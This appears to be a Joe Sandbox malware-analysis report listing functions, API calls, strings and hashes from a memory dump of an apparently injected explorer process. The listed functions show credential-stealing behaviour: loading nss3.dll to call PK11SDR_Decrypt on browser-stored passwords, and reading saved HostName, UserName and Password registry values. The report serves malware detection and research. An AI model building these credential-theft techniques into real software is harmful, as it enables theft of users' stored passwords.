Function 004324B0 Relevance: 35.1, APIs: 11, Strings: 9, Instructions: 143libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00431000: GetProcessHeap.KERNEL32(00000008,?,004311C7,?,?,00000001,00000000,?), ref: 00431003
Part of subcall function 00431000: RtlAllocateHeap.NTDLL(00000000), ref: 0043100A

Part of subcall function 00431090: lstrlenW.KERNEL32(?,?,00000000,004317E5), ref: 00431097
Part of subcall function 00431090: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000001,00000000,00000000), ref: 004310A8

Part of subcall function 004319B4: lstrlenW.KERNEL32(00000000,00000000,00000000,00432CAF,00000000,00000000,?,?,00000000,PathToExe,00000000,00000000), ref: 004319C4

GetCurrentDirectoryW.KERNEL32(00000104,00000000), ref: 00432503
SetCurrentDirectoryW.KERNEL32(00000000), ref: 0043250A
LoadLibraryW.KERNEL32(00000000), ref: 00432563
SetCurrentDirectoryW.KERNEL32(?), ref: 00432570
GetProcAddress.KERNEL32(00000000,NSS_Init), ref: 00432591
GetProcAddress.KERNEL32(00000000,NSS_Shutdown), ref: 0043259E
GetProcAddress.KERNEL32(00000000,SECITEM_FreeItem), ref: 004325AB
GetProcAddress.KERNEL32(00000000,PK11_GetInternalKeySlot), ref: 004325B8
GetProcAddress.KERNEL32(00000000,PK11_Authenticate), ref: 004325C5
GetProcAddress.KERNEL32(00000000,PK11SDR_Decrypt), ref: 004325D2
GetProcAddress.KERNEL32(00000000,PK11_FreeSlot), ref: 004325DF

Part of subcall function 0043190B: lstrlen.KERNEL32(?,?,?,?,00000000,00432783), ref: 0043192B
Part of subcall function 0043190B: lstrlen.KERNEL32(00000000,?,?,?,00000000,00432783), ref: 00431930
Part of subcall function 0043190B: lstrcat.KERNEL32(00000000,?), ref: 00431946
Part of subcall function 0043190B: lstrcat.KERNEL32(00000000,00000000), ref: 0043194A

Strings

PK11_Authenticate, xrefs: 004325BA
PK11SDR_Decrypt, xrefs: 004325C7
PK11_GetInternalKeySlot, xrefs: 004325AD
SECITEM_FreeItem, xrefs: 004325A0
nss3.dll, xrefs: 00432510
NSS_Init, xrefs: 0043258B
sql:, xrefs: 0043262B
NSS_Shutdown, xrefs: 00432593
PK11_FreeSlot, xrefs: 004325D4

Memory Dump Source

Source File: 0000000D.00000002.3226044754.0000000000431000.00000040.80000000.00040000.00000000.sdmp, Offset: 00431000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_431000_explorer.jbxd

Similarity

API ID: AddressProc$lstrlen$CurrentDirectory$Heaplstrcat$AllocateByteCharLibraryLoadMultiProcessWide
String ID: NSS_Init$NSS_Shutdown$PK11SDR_Decrypt$PK11_Authenticate$PK11_FreeSlot$PK11_GetInternalKeySlot$SECITEM_FreeItem$nss3.dll$sql:
API String ID: 3366569387-3272982511
Opcode ID: 6865bc11f9eacc8933397781955599f24cd4f5a09cfd97a25eedc8d2804fb567
Instruction ID: 753c51c42b55634c5d4287b89258724039da9c1493972456a729716819324d94
Opcode Fuzzy Hash: 6865bc11f9eacc8933397781955599f24cd4f5a09cfd97a25eedc8d2804fb567
Instruction Fuzzy Hash: B8410331A0030A9BDB54AF3A9E5562F3AE59F99748F11143FE84297371DBBC8C018B9D

Function 00435E5A Relevance: 23.1, APIs: 6, Strings: 7, Instructions: 382COMMON

Download Yara Rule

APIs

Part of subcall function 00435BF5: memset.NTDLL ref: 00435C07

_alldiv.NTDLL(?,?,05265C00,00000000), ref: 004360E1
_allrem.NTDLL(00000000,?,00000007,00000000), ref: 004360EC
_alldiv.NTDLL(?,?,000003E8,00000000), ref: 00436113
_alldiv.NTDLL(?,?,05265C00,00000000), ref: 0043618E
_alldiv.NTDLL(?,?,05265C00,00000000), ref: 004361B5
_allrem.NTDLL(00000000,?,00000007,00000000), ref: 004361C1

Strings

%03d, xrefs: 004361F3
W, xrefs: 00436193
%02d, xrefs: 00436039, 004361D3
%04d, xrefs: 00436016
%06.3f, xrefs: 00436229
%.16g, xrefs: 00436077
%lld, xrefs: 00436122

Memory Dump Source

Source File: 0000000D.00000002.3226044754.0000000000431000.00000040.80000000.00040000.00000000.sdmp, Offset: 00431000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_431000_explorer.jbxd

Similarity

API ID: _alldiv$_allrem$memset
String ID: %.16g$%02d$%03d$%04d$%06.3f$%lld$W
API String ID: 2557048445-1989508764
Opcode ID: 6838eb774acee03fdc61f72175e8385728d27d7d0506a67c4e2a79b1301d0e7e
Instruction ID: 483606aa9446f118c68cecef693c4a1161df0e468cba1e03fe9aa8361dcca53f
Opcode Fuzzy Hash: 6838eb774acee03fdc61f72175e8385728d27d7d0506a67c4e2a79b1301d0e7e
Instruction Fuzzy Hash: B4B16DB1908743BBD725AE24CC85B3F7BD4EB48304F26599FF48296291E62DCD10869E

Function 0044D2AC Relevance: 19.7, APIs: 1, Strings: 12, Instructions: 169COMMON

Download Yara Rule

APIs

memcmp.NTDLL(0048637A,BINARY,00000007), ref: 0044D324

Strings

NULL, xrefs: 0044D40F
BINARY, xrefs: 0044D31E
(blob), xrefs: 0044D416
(%.20s), xrefs: 0044D38A
%s(%d), xrefs: 0044D3AB
program, xrefs: 0044D46A
%.16g, xrefs: 0044D3E5
vtab:%p, xrefs: 0044D423
,%d, xrefs: 0044D444
,%s%s, xrefs: 0044D34E
%lld, xrefs: 0044D3CA
k(%d, xrefs: 0044D2EE

Memory Dump Source

Source File: 0000000D.00000002.3226044754.0000000000431000.00000040.80000000.00040000.00000000.sdmp, Offset: 00431000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_431000_explorer.jbxd

Similarity

API ID: memcmp
String ID: %.16g$%lld$%s(%d)$(%.20s)$(blob)$,%d$,%s%s$BINARY$NULL$k(%d$program$vtab:%p
API String ID: 1475443563-3683840195
Opcode ID: 43d3fa34c364d3cef5b3b670fb0bf67fde962dfece147ac1f52f1bb0b0bc8a8b
Instruction ID: 525abce94267dc91e76fb2546ff742aa0580dc85ab486492084eecd6fa6459a3
Opcode Fuzzy Hash: 43d3fa34c364d3cef5b3b670fb0bf67fde962dfece147ac1f52f1bb0b0bc8a8b
Instruction Fuzzy Hash: C751C071A08700ABE720EF65CC41B6B73E5AB49700F644C6FF9928B251D77CE805C79A

Function 004348B1 Relevance: 14.1, APIs: 2, Strings: 6, Instructions: 113COMMON

Download Yara Rule

APIs

Part of subcall function 004319E5: RegOpenKeyExW.KERNELBASE(?,?,00000000,-00000201,?,?,00000016,?,?,?,?,00431AE2,PortNumber,00000000,00000000), ref: 00431A1E
Part of subcall function 004319E5: RegQueryValueExW.KERNELBASE(?,?,00000000,?,00000000,?,?,?,00000000,-00000201,?,?,00000016), ref: 00431A3C
Part of subcall function 004319E5: RegQueryValueExW.KERNELBASE(?,?,00000000,00000000,00000000,?,?,?,00000000,-00000201,?,?,00000016), ref: 00431A75
Part of subcall function 004319E5: RegCloseKey.KERNELBASE(?,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,00431AE2,PortNumber,00000000,00000000), ref: 00431A98

Part of subcall function 0043482C: lstrlenW.KERNEL32(?), ref: 00434845
Part of subcall function 0043482C: lstrlenW.KERNEL32(?), ref: 0043488F
Part of subcall function 0043482C: lstrlenW.KERNEL32(?), ref: 00434897

wsprintfW.USER32 ref: 004349A7
wsprintfW.USER32 ref: 004349B9

Strings

RemoteDirectory, xrefs: 004348F8
%s:%u/%s, xrefs: 00434982, 004349A5
HostName, xrefs: 004348C4
Password, xrefs: 004348E4
UserName, xrefs: 004348D2
%s:%u, xrefs: 00434971, 004349B7

Memory Dump Source

Source File: 0000000D.00000002.3226044754.0000000000431000.00000040.80000000.00040000.00000000.sdmp, Offset: 00431000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_431000_explorer.jbxd

Similarity

API ID: lstrlen$QueryValuewsprintf$CloseOpen
String ID: %s:%u$%s:%u/%s$HostName$Password$RemoteDirectory$UserName
API String ID: 2889301010-4273187114
Opcode ID: 267beccad496cc5ec00cf1fa084eb17e733d28da644bc4707836799fd1dfdea9
Instruction ID: 6c43a53127b509f807d8271c7c16699431dc17cc50279dc306788e9876b92509
Opcode Fuzzy Hash: 267beccad496cc5ec00cf1fa084eb17e733d28da644bc4707836799fd1dfdea9
Instruction Fuzzy Hash: 173100A07003046BC710AB768C45A2FB6EDEFCD788F06591FB14587351DBBAED418BA9

Function 0043F92F Relevance: 12.4, APIs: 4, Strings: 4, Instructions: 350COMMON

Download Yara Rule

APIs

memcpy.NTDLL(?,?,?,?,00000000), ref: 0043FB32
memcpy.NTDLL(?,?,00000000,00000000,000001D8,00000000,?,?,?,?,00000054,00000000,00000030,00000000,000001D8,00000000), ref: 0043FB4D
memcpy.NTDLL(?,?,?,00000000,000001D8,00000000,?,?,?,?,00000054,00000000,00000030,00000000,000001D8,00000000), ref: 0043FB60
memcpy.NTDLL(?,?,?,?,?,?,00000000,000001D8,00000000,?,?,?,?,00000054,00000000,00000030), ref: 0043FB95

Strings

nolock, xrefs: 0043FC4E
-journal, xrefs: 0043FB6B
-wal, xrefs: 0043FBA9
immutable, xrefs: 0043FC68

Memory Dump Source

Source File: 0000000D.00000002.3226044754.0000000000431000.00000040.80000000.00040000.00000000.sdmp, Offset: 00431000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_431000_explorer.jbxd

Similarity

API ID: memcpy
String ID: -journal$-wal$immutable$nolock
API String ID: 3510742995-3408036318
Opcode ID: a614ee0d3362c15e72b8cac66179f7515401daf51ac878abcaca1cb045d49a2b
Instruction ID: d713bd3f64e9f5017da3ecb241f38ae2208b32befbb090f21e6500dd2f5584ac
Opcode Fuzzy Hash: a614ee0d3362c15e72b8cac66179f7515401daf51ac878abcaca1cb045d49a2b
Instruction Fuzzy Hash: BBD1D5B19043419FC714DF24C881B1BBBE1AF99314F18557EF8998B392DB78D805CB5A

Function 00437820 Relevance: 10.9, APIs: 3, Strings: 3, Instructions: 407COMMON

Download Yara Rule

Strings

%, xrefs: 00437822
NaN, xrefs: 004373F8
-x0, xrefs: 00437325

Memory Dump Source

Source File: 0000000D.00000002.3226044754.0000000000431000.00000040.80000000.00040000.00000000.sdmp, Offset: 00431000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_431000_explorer.jbxd

Similarity

API ID:
String ID: %$-x0$NaN
API String ID: 0-62881354
Opcode ID: 97af279c2d3804047e0bd8858d8159460829083da4cc68962119c53b59c02ce3
Instruction ID: f65f66478411c5a30da96e8da76500503f47576693cb7129d2fa4bf040d2f09a
Opcode Fuzzy Hash: 97af279c2d3804047e0bd8858d8159460829083da4cc68962119c53b59c02ce3
Instruction Fuzzy Hash: 43D1D4B060C3829BD7358B29849072FBBE1AF9D308F24A95FF8C187351D66CC945DB4A

Function 00431895 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 46COMMON

Download Yara Rule

APIs

GetHGlobalFromStream.COMBASE(?,?), ref: 004318A7
GlobalLock.KERNEL32(WKC), ref: 004318B6
GlobalUnlock.KERNEL32(?), ref: 004318F4

Part of subcall function 00431000: GetProcessHeap.KERNEL32(00000008,?,004311C7,?,?,00000001,00000000,?), ref: 00431003
Part of subcall function 00431000: RtlAllocateHeap.NTDLL(00000000), ref: 0043100A

RtlMoveMemory.NTDLL(00000000,00000000,?), ref: 004318E8

Strings

WKC, xrefs: 004318CA
WKC, xrefs: 004318B2

Memory Dump Source

Source File: 0000000D.00000002.3226044754.0000000000431000.00000040.80000000.00040000.00000000.sdmp, Offset: 00431000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_431000_explorer.jbxd

Similarity

API ID: Global$Heap$AllocateFromLockMemoryMoveProcessStreamUnlock
String ID: WKC$WKC
API String ID: 1688112647-3140048585
Opcode ID: 1d22d5d5478b83f0fdff3844e1a2c4e626e23c9d4619cca733e48b5e072cc252
Instruction ID: 7525745a592cff04bb66f342c8db3ccb825f9ae214f79ea4535953fc20bf22af
Opcode Fuzzy Hash: 1d22d5d5478b83f0fdff3844e1a2c4e626e23c9d4619cca733e48b5e072cc252
Instruction Fuzzy Hash: 4F016275200305AF8B05AF659C5895F7BAAEF89351F00943FF45587220DF35C9049B2C

Function 004378B0 Relevance: 9.2, APIs: 3, Strings: 2, Instructions: 441COMMON

Download Yara Rule

Strings

NaN, xrefs: 004373F8
-x0, xrefs: 00437325

Memory Dump Source

Source File: 0000000D.00000002.3226044754.0000000000431000.00000040.80000000.00040000.00000000.sdmp, Offset: 00431000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_431000_explorer.jbxd

Similarity

API ID:
String ID: -x0$NaN
API String ID: 0-3447725786
Opcode ID: 10305aa36b1c071c6c467686070300f508ce3241da45867cc522aabced06c491
Instruction ID: 39e921818d2e88f17f8256ef3668f711ed16cbe4d2bfdfcb396a372aec83c3c6
Opcode Fuzzy Hash: 10305aa36b1c071c6c467686070300f508ce3241da45867cc522aabced06c491
Instruction Fuzzy Hash: 9FE105B060C3829BD7359B29849072FBBE1AF9D308F28695FF8C187351D66CC945DB4A

Function 00437A5C Relevance: 9.2, APIs: 3, Strings: 2, Instructions: 431COMMON

Download Yara Rule

Strings

NaN, xrefs: 004373F8
-x0, xrefs: 00437325

Memory Dump Source

Source File: 0000000D.00000002.3226044754.0000000000431000.00000040.80000000.00040000.00000000.sdmp, Offset: 00431000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_431000_explorer.jbxd

Similarity

API ID:
String ID: -x0$NaN
API String ID: 0-3447725786
Opcode ID: aa32ddaad034fb0f217a98675b6513c3c8f0c15088df3246c2f97236adfcca4f
Instruction ID: a928ff4672b33a3a9f2cf654076b7f16aaa1c6452af4b9eb690f14296d2eeb2d
Opcode Fuzzy Hash: aa32ddaad034fb0f217a98675b6513c3c8f0c15088df3246c2f97236adfcca4f
Instruction Fuzzy Hash: ADE1D3B060C3829BD7358B29849072FBBE1AF9D308F24A95FF8C187351D66CC945DB4A

Function 00437A28 Relevance: 9.2, APIs: 3, Strings: 2, Instructions: 426COMMON

Download Yara Rule

Strings

NaN, xrefs: 004373F8
-x0, xrefs: 00437325

Memory Dump Source

Source File: 0000000D.00000002.3226044754.0000000000431000.00000040.80000000.00040000.00000000.sdmp, Offset: 00431000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_431000_explorer.jbxd

Similarity

API ID:
String ID: -x0$NaN
API String ID: 0-3447725786
Opcode ID: 28c1f284833e66dc7a91f0746f8eb8a0878a2c47dbf5dbcd9529e2bcec026d23
Instruction ID: 8e69d605a3f5b173155716d5f1ad50ec7cb78bcdf763cd29427aeaeeb47365b0
Opcode Fuzzy Hash: 28c1f284833e66dc7a91f0746f8eb8a0878a2c47dbf5dbcd9529e2bcec026d23
Instruction Fuzzy Hash: 54E1D3B160C3829BD7358B29849072FBBE1AF9D308F24A95FF8C187351D66CC945DB4A

Function 004377F9 Relevance: 9.2, APIs: 3, Strings: 2, Instructions: 414COMMON

Download Yara Rule

Strings

NaN, xrefs: 004373F8
-x0, xrefs: 00437325

Memory Dump Source

Source File: 0000000D.00000002.3226044754.0000000000431000.00000040.80000000.00040000.00000000.sdmp, Offset: 00431000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_431000_explorer.jbxd

Similarity

API ID:
String ID: -x0$NaN
API String ID: 0-3447725786
Opcode ID: 7763158076e5aca87e28af77ade785d3738ea161c86f3fefbfbbe4e182a524fa
Instruction ID: dd2f05f64b78950f6a733d54b73290af2116eae022f149f3b32548ce841516a8
Opcode Fuzzy Hash: 7763158076e5aca87e28af77ade785d3738ea161c86f3fefbfbbe4e182a524fa
Instruction Fuzzy Hash: 06E1B2B060C3829BD7358B29849072FBBE1AF9D308F24A95FF8C197351D66CC945DB4A

Function 004370C9 Relevance: 9.2, APIs: 3, Strings: 2, Instructions: 403COMMON

Download Yara Rule

APIs

_aulldvrm.NTDLL(00000000,00000002,0000000A,00000000), ref: 0043720E
_aullrem.NTDLL(00000000,?,0000000A,00000000), ref: 00437226
_aulldvrm.NTDLL(00000000,00000000,?), ref: 0043727B

Strings

NaN, xrefs: 004373F8
-x0, xrefs: 00437325

Memory Dump Source

Source File: 0000000D.00000002.3226044754.0000000000431000.00000040.80000000.00040000.00000000.sdmp, Offset: 00431000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_431000_explorer.jbxd

Similarity

API ID: _aulldvrm$_aullrem
String ID: -x0$NaN
API String ID: 105165338-3447725786
Opcode ID: 096c3927a0dcef46170d7161251a23ac31173805debc96ef39090b505a2302eb
Instruction ID: dbaf88c407e1702e7c4efc971adcea22c0ac35a3c1beb7745d639d541234641f
Opcode Fuzzy Hash: 096c3927a0dcef46170d7161251a23ac31173805debc96ef39090b505a2302eb
Instruction Fuzzy Hash: B5D1D4B060C3829BD7358B29849072FBBE1AF9D308F24A95FF8C187351D66CC945DB4A

Function 0043898F Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 353COMMON

Download Yara Rule

APIs

_allmul.NTDLL(00000000,?,0000000A,00000000), ref: 00438AAD
_allmul.NTDLL(?,?,0000000A,00000000), ref: 00438B66
_allmul.NTDLL(?,00000000,0000000A,00000000), ref: 00438C9B
_alldvrm.NTDLL(?,00000000,0000000A,00000000), ref: 00438CAE

Strings

., xrefs: 00438B17

Memory Dump Source

Source File: 0000000D.00000002.3226044754.0000000000431000.00000040.80000000.00040000.00000000.sdmp, Offset: 00431000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_431000_explorer.jbxd

Similarity

API ID: _allmul$_alldvrm
String ID: .
API String ID: 115548886-248832578
Opcode ID: a4d7c323909f77d99f55f4f3b0672e8644958cd9d53626777b43799e005c506a
Instruction ID: 6a09bf593fe9d1a3a4356a28bb3c38b68a4271bbe95951f404997e271f8d98b7
Opcode Fuzzy Hash: a4d7c323909f77d99f55f4f3b0672e8644958cd9d53626777b43799e005c506a
Instruction Fuzzy Hash: CED1D4B190C7858BC7209F59848022EFBF0BBD9714F042D6FF6D596381DBB98945878E

Function 0045D684 Relevance: 9.1, APIs: 3, Strings: 3, Instructions: 79COMMON

Download Yara Rule

APIs

memset.NTDLL ref: 0045D6A0
memset.NTDLL ref: 0045D6B3
memset.NTDLL ref: 0045D6C3

Strings

7, xrefs: 0045D71B
,, xrefs: 0045D6FC
9, xrefs: 0045D701

Memory Dump Source

Source File: 0000000D.00000002.3226044754.0000000000431000.00000040.80000000.00040000.00000000.sdmp, Offset: 00431000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_431000_explorer.jbxd

Similarity

API ID: memset
String ID: ,$7$9
API String ID: 2221118986-1653249994
Opcode ID: b1d51447b54f57044a401778e5baa02a08deb2ee8b9c42d589ff759b1829e7d0
Instruction ID: 6fc4edab92ee2027378d69f2c36bec02763afb07156ef030dfc09002926193fb
Opcode Fuzzy Hash: b1d51447b54f57044a401778e5baa02a08deb2ee8b9c42d589ff759b1829e7d0
Instruction Fuzzy Hash: 9B316A715083449FD330DF65D880B8FBBE8AF85344F00892EF98997252EB75964DCBA6

Function 00431BC5 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00000000,00000000,?,00432E75,PathToExe,00000000,00000000), ref: 00431BCC
StrStrIW.SHLWAPI(00000000,.exe,?,00432E75,PathToExe,00000000,00000000), ref: 00431BF0
StrRChrIW.SHLWAPI(00000000,00000000,0000005C,?,00432E75,PathToExe,00000000,00000000), ref: 00431C05
lstrlenW.KERNEL32(00000000,?,00432E75,PathToExe,00000000,00000000), ref: 00431C1C

Strings

.exe, xrefs: 00431BEA

Memory Dump Source

Source File: 0000000D.00000002.3226044754.0000000000431000.00000040.80000000.00040000.00000000.sdmp, Offset: 00431000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_431000_explorer.jbxd

Similarity

API ID: lstrlen
String ID: .exe
API String ID: 1659193697-4119554291
Opcode ID: 1d2a52696441565f80e0cc015aa8a9b6b42907ee8e42d775b2058dc40d95ad83
Instruction ID: 9b5600007c349b2f8bce4788b6f6217ad8dddede415e52dc22e79e0342253b2f
Opcode Fuzzy Hash: 1d2a52696441565f80e0cc015aa8a9b6b42907ee8e42d775b2058dc40d95ad83
Instruction Fuzzy Hash: 96F0C2303502209AD7646F34AC49BBF62A5EF0A341F216C3FE142C32B1EB688C41C75D

Function 00432112 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 29timeCOMMON

Download Yara Rule

APIs

Part of subcall function 00431000: GetProcessHeap.KERNEL32(00000008,?,004311C7,?,?,00000001,00000000,?), ref: 00431003
Part of subcall function 00431000: RtlAllocateHeap.NTDLL(00000000), ref: 0043100A

GetSystemTimeAsFileTime.KERNEL32(?), ref: 00432127
_alldiv.NTDLL(?,?,00989680,00000000), ref: 0043213A
wsprintfA.USER32 ref: 0043214F

Strings

%li, xrefs: 00432149

Memory Dump Source

Source File: 0000000D.00000002.3226044754.0000000000431000.00000040.80000000.00040000.00000000.sdmp, Offset: 00431000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_431000_explorer.jbxd

Similarity

API ID: HeapTime$AllocateFileProcessSystem_alldivwsprintf
String ID: %li
API String ID: 4120667308-1021419598
Opcode ID: 6772bf3a1b987ec87112f25cfc2adbe67ddbda376e5ccd15da4d22cece3ac70b
Instruction ID: 0e14907fd1ba5cdf3bceadad3492b57d57820c77779278f38477792ad8a9fc86
Opcode Fuzzy Hash: 6772bf3a1b987ec87112f25cfc2adbe67ddbda376e5ccd15da4d22cece3ac70b
Instruction Fuzzy Hash: D8E0D832A4020877C7203BB89D0AFEF7B6CDB40B59F00059AF900E6192E5764A2483D9

Function 00442FF6 Relevance: 6.6, APIs: 5, Instructions: 369COMMON

Download Yara Rule

APIs

_allmul.NTDLL(?,00000000,00000018), ref: 0044316F
_allmul.NTDLL(-00000001,00000000,?,?), ref: 004431D2
_alldiv.NTDLL(?,?,00000000), ref: 004432DE
_allmul.NTDLL(00000000,?,00000000), ref: 004432E7
_allmul.NTDLL(?,00000000,?,?), ref: 00443392

Part of subcall function 004416CD: memset.NTDLL ref: 0044172B

Memory Dump Source

Source File: 0000000D.00000002.3226044754.0000000000431000.00000040.80000000.00040000.00000000.sdmp, Offset: 00431000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_431000_explorer.jbxd

Similarity

API ID: _allmul$_alldivmemset
String ID:
API String ID: 3880648599-0
Opcode ID: 046d8b7b3e0929ff4979f6fcf46b9aaa87e7dca74d29b1c13d3f69a449f56726
Instruction ID: b7ecfb7da435fb73dbdb7ab9a6af29a089ba2ec26a84b2415c41fa596d5ae6c0
Opcode Fuzzy Hash: 046d8b7b3e0929ff4979f6fcf46b9aaa87e7dca74d29b1c13d3f69a449f56726
Instruction Fuzzy Hash: 22D18C706083418BEB24DF69C480B6FB7E1AF88B09F14492EF99587351DB78DE45CB4A

Function 004687FA Relevance: 6.4, APIs: 1, Strings: 3, Instructions: 388COMMON

Download Yara Rule

Strings

FOREIGN KEY constraint failed, xrefs: 00468AC8
new, xrefs: 004688AA
old, xrefs: 0046889E

Memory Dump Source

Source File: 0000000D.00000002.3226044754.0000000000431000.00000040.80000000.00040000.00000000.sdmp, Offset: 00431000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_431000_explorer.jbxd

Similarity

API ID:
String ID: FOREIGN KEY constraint failed$new$old
API String ID: 0-384346570
Opcode ID: c45c552f718e5e0b722c544f867c3853ba73f9e7c672d56929e53d0fd7b2b667
Instruction ID: 327ac3d76bcfd9dcd70760d421060b4fff6f850114040e8ddabeed9ef8a9e838
Opcode Fuzzy Hash: c45c552f718e5e0b722c544f867c3853ba73f9e7c672d56929e53d0fd7b2b667
Instruction Fuzzy Hash: 67D128706083009FD714EF25C481A2FBBE9AB88754F104A1EF9458B392EB78D945CB97

Function 004396BC Relevance: 6.4, APIs: 5, Instructions: 105COMMON

Download Yara Rule

APIs

_alldiv.NTDLL(000000FF,7FFFFFFF,?,?), ref: 004396E7
_alldiv.NTDLL(00000000,80000000,?,?), ref: 00439707
_alldiv.NTDLL(00000000,80000000,?,?), ref: 00439739
_alldiv.NTDLL(00000001,80000000,?,?), ref: 0043976C
_allmul.NTDLL(?,?,?,?), ref: 00439798

Memory Dump Source

Source File: 0000000D.00000002.3226044754.0000000000431000.00000040.80000000.00040000.00000000.sdmp, Offset: 00431000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_431000_explorer.jbxd

Similarity

API ID: _alldiv$_allmul
String ID:
API String ID: 4215241517-0
Opcode ID: aea503a78b0f5229cb44f0642643f5c49b5350688a0b94e79065ce13f3554f20
Instruction ID: 35c8896b2277323423878264867ca7641e395e0bce6ff9b4e5b3aa053d426f74
Opcode Fuzzy Hash: aea503a78b0f5229cb44f0642643f5c49b5350688a0b94e79065ce13f3554f20
Instruction Fuzzy Hash: A52126315157159AD7347D1A4DC1B2B3688DB9D7A4F24252FFC12C23C1EBDE8C4081AD

Function 0044B162 Relevance: 6.1, APIs: 4, Instructions: 137COMMON

Download Yara Rule

APIs

_allmul.NTDLL(?,00000000,00000000), ref: 0044B1B3
_alldvrm.NTDLL(?,?,00000000), ref: 0044B20F
_allrem.NTDLL(?,00000000,?,?), ref: 0044B28A
memcpy.NTDLL(?,?,00000000,?,00000000,?,?,?,00000000,?,?,00000000,00000000), ref: 0044B298

Memory Dump Source

Source File: 0000000D.00000002.3226044754.0000000000431000.00000040.80000000.00040000.00000000.sdmp, Offset: 00431000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_431000_explorer.jbxd

Similarity

API ID: _alldvrm_allmul_allremmemcpy
String ID:
API String ID: 1484705121-0
Opcode ID: abdba188e4bfdf281b7d79c9056e3e56b74dba4e99a21b9df24c58c4e894ef3f
Instruction ID: a0ee92632411bc9e7452e646c9b339bbdcb7ecca234928ee30fc64d4146b0234
Opcode Fuzzy Hash: abdba188e4bfdf281b7d79c9056e3e56b74dba4e99a21b9df24c58c4e894ef3f
Instruction Fuzzy Hash: AF4114756083019BD714EF26C89192BBBE5FFC8344F04492EF98587262DB74EC05CB96

Function 00431953 Relevance: 6.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,00000000,00000000,?,?,00432F0C), ref: 00431973
lstrlenW.KERNEL32(00486564,?,?,00432F0C), ref: 00431978
lstrcatW.KERNEL32(00000000,?,?,?,00432F0C), ref: 00431990
lstrcatW.KERNEL32(00000000,00486564,?,?,00432F0C), ref: 00431994

Memory Dump Source

Source File: 0000000D.00000002.3226044754.0000000000431000.00000040.80000000.00040000.00000000.sdmp, Offset: 00431000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_431000_explorer.jbxd

Similarity

API ID: lstrcatlstrlen
String ID:
API String ID: 1475610065-0
Opcode ID: feb388e6100d38c244564bdfba5f14a062c5c0727ec1a39287f7831c28697468
Instruction ID: 1e8b991b873dfcea3ae4f89fee4cc70d5fc901527b7d36e475a29a4e66d313d7
Opcode Fuzzy Hash: feb388e6100d38c244564bdfba5f14a062c5c0727ec1a39287f7831c28697468
Instruction Fuzzy Hash: C2E065A230021C1B5714B7AE5C94E7B769DCEC96A5706003AFA08D3312EA5A9C0586B8

Function 0045F21C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 78COMMON

Download Yara Rule

APIs

Part of subcall function 00436A81: memset.NTDLL ref: 00436A9C

_aulldiv.NTDLL(?,00000000,?,00000000), ref: 0045F2A1

Strings

%llu, xrefs: 0045F2A8
%llu, xrefs: 0045F25E

Memory Dump Source

Source File: 0000000D.00000002.3226044754.0000000000431000.00000040.80000000.00040000.00000000.sdmp, Offset: 00431000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_431000_explorer.jbxd

Similarity

API ID: _aulldivmemset
String ID: %llu$%llu
API String ID: 714058258-4283164361
Opcode ID: 682599454c5ee9a2cd7c415bff8bd5edcf886b90b7da4f536ec8acc88d1a9ae9
Instruction ID: df38bbfaa897e6c9689a5748fa0e31993056f716ec101296dae6eca0383ca954
Opcode Fuzzy Hash: 682599454c5ee9a2cd7c415bff8bd5edcf886b90b7da4f536ec8acc88d1a9ae9
Instruction Fuzzy Hash: 232104B26446057BC710BA25CC42F6BB758AF85734F04462EF921972C2DB299C1987EA

Function 0044203C Relevance: 5.3, APIs: 4, Instructions: 274COMMON

Download Yara Rule

APIs

_allmul.NTDLL(?,00000000,?), ref: 00442174
_allmul.NTDLL(?,?,?,00000000), ref: 0044220E
_allmul.NTDLL(?,00000000,00000000,?), ref: 00442241
_allmul.NTDLL(00432E26,00000000,?,?), ref: 00442295

Memory Dump Source

Source File: 0000000D.00000002.3226044754.0000000000431000.00000040.80000000.00040000.00000000.sdmp, Offset: 00431000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_431000_explorer.jbxd

Similarity

API ID: _allmul
String ID:
API String ID: 4029198491-0
Opcode ID: 3085842643abf35a20991388616d187f76d7e9293e8280a6adbe6ee58f7c727c
Instruction ID: aaff03d1e0c2bb7b9110d01d178244181c9295e5fcfa9b510e8154832b7c6e2e
Opcode Fuzzy Hash: 3085842643abf35a20991388616d187f76d7e9293e8280a6adbe6ee58f7c727c
